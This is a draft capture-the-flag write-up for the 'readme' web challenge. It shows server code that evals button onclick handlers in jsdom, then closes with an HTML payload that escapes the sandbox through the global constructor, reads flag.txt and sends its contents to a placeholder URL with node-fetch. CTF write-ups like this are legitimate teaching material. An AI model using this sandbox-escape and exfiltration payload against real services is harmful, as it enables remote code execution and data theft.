# DRAFT : NOT FINISHED

# readme

by [5225225](https://www.5snb.club)

web / 478 pts / 46 solves

> My new site readme is the ultimate tool for readers everywhere. Remove
clutter from any site and also fetch the next chapters with the click of
a button.

provided files: [readme.tar](readme.tar) (Original extension was incorrectly `.tar.xz`)

## solution

Here, you were given a website with some server-side code to process a URL
given to convert it to reader mode, using [mozilla's readability
library](https://github.com/mozilla/readability). I wasn't expecting
a vulnerability in there, but `readme` also had the feature that it would try
and go to things that looked like they were the next page. I won't paste the
full `index.js` from the tar file, but the relevant section is

```js
/**
 * Helper function to try and retrieve the next section of a site if it exists.
 */
const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];
    
    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};    
```

This will look for `a` tags as well as `button`s. The ability to load a new
page is not all that interesting here, so I skipped looking at the handling for
`a` tags. The evaluation of `button`s is interesting, as it uses
[jsdom](https://github.com/jsdom/jsdom) to interpret the `onclick` of the given
page.

You can't *directly* access properties exposed, but you can do a sandbox escape
using the global constructor given.

<!--TODO: find wherever I got this from it was a stack overflow article and i cannot find it anymore-->

```html
<p id="hello">Hello, World!</p>
<button class="next" onclick="global.constructor.constructor('return process')().mainModule.require('fs').readFile('flag.txt', 'utf8', function(err, fuck) {
    const mod = global.constructor.constructor('return process')().mainModule;
    const fetch = mod.require('node-fetch');
    fetch('<URL>' + fuck)
})">Butt</button>
```